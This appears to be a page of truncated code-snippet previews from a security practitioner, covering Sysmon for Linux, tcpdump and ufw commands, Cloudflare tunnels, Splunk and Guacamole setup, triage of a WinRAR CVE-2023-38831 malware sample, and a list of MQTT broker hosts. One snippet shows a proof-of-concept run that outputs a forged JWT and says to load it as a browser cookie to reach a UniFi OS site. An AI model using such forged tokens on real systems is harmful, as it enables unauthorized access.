| https://github.com/microsoft/SysmonForLinux | |
| https://www.youtube.com/watch?v=yzpDlonyPGU | |
| https://github.com/OpenSecureCo/Demos/blob/main/sysmonforlinux | |
| parsing: https://github.com/vectordotdev/vrl/discussions/1287#discussioncomment-12379049 | |
| https://davecturner.github.io/2020/12/12/rolling-tcpdump.html | |
| https://www.tcpdump.org/manpages/tcpdump.1.html | |
| tcpdump -i eth0 -G 600 -w mycapture_%s.pcap -zgzip -Z root | |
| allow ssh in but no traffic out or in besides that: | |
| ufw enable | |
| ufw default deny outgoing |
| $ python3 poc.py | |
| {"code":1,"codeS":"SUCCESS","msg":"success","data":"identity is not enabled"} | |
| eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiIxZmVhNmIyZi04MmY4LTRmNTEtYjZhOC02MzA4ZmExYzAzMWEiLCJwYXNzd29yZFJldmlzaW9uIjoxNzgwNTk0MDA5LCJpc1JlbWVtYmVyZWQiOmZhbHNlLCJjc3JmVG9rZW4iOiJkb2VzbnRtYXR0ZXIiLCJpYXQiOjE3ODA3MTE3NTIsImV4cCI6MTg4MDcxODk1MiwianRpIjoiZG9lc250bWF0dGVyIn0.rmuYFpM1Uy8MzEt1ILPzBRQi4dbOG4StbSoYWdOmzsY | |
| add this cookie into the browser with name TOKEN and visit the target unifi os site. |
| broker.emqx.io | |
| prod-blue.public-broker.com | |
| broker-cn.emqx.io | |
| mqtt.eclipseprojects.io | |
| test.mosquitto.org | |
| broker.hivemq.com | |
| aceautomation.ddns.net | |
| 101b7a0.online-server.cloud |
| create d1 database, bind it to worker | |
| make a log table, add fields you need. |
| Login: | |
| cloudflared tunnel login | |
| Create tunnel: | |
| cloudflared tunnel create infra | |
| Create routing/dns record: | |
| cloudflared tunnel route dns infra YOURDOMAIN.COM | |
| On cloudflare website, in dns record, replace 'infra' with '*' and save. |
| https://forum.proxmox.com/threads/is-it-possible-to-have-containers-auto-login-on-the-web-gui-like-the-node.62097/#post-391377 | |
| Command: | |
| ``` | |
| systemctl edit container-getty@.service | |
| ``` | |
| File content: |
Article with details regarding the vuln and malicious use & file hashes: https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/
File: 049af32f678da5e344315ce46787e8fc
Anyrun: https://app.any.run/tasks/3c2f3ff4-3883-4f68-98d1-706138771f46
remnux@remnux:~/Downloads$ md5sum malware.rar
a519226ff8e4edd6d622db45a0099932 malware.rar
remnux@remnux:~/Downloads$ 7z l malware.rar |grep -v ico
| version: "3.6" | |
| services: | |
| so1: | |
| image: splunk/splunk:latest | |
| container_name: so1 | |
| environment: | |
| - SPLUNK_START_ARGS=--accept-license | |
| - SPLUNK_PASSWORD=password | |
| - SPLUNK_LICENSE_URI=Free |
| import requests | |
| GUAC_URL="http://10.0.0.1:8080/guacamole" | |
| GUAC_USERNAME="user" | |
| GUAC_PASSWORD="password" | |
| def get_token(): | |
| url = f"{GUAC_URL}/api/tokens" | |
| payload = f"username={GUAC_USERNAME}&password={GUAC_PASSWORD}" | |
| headers = {"Content-Type": "application/x-www-form-urlencoded"} |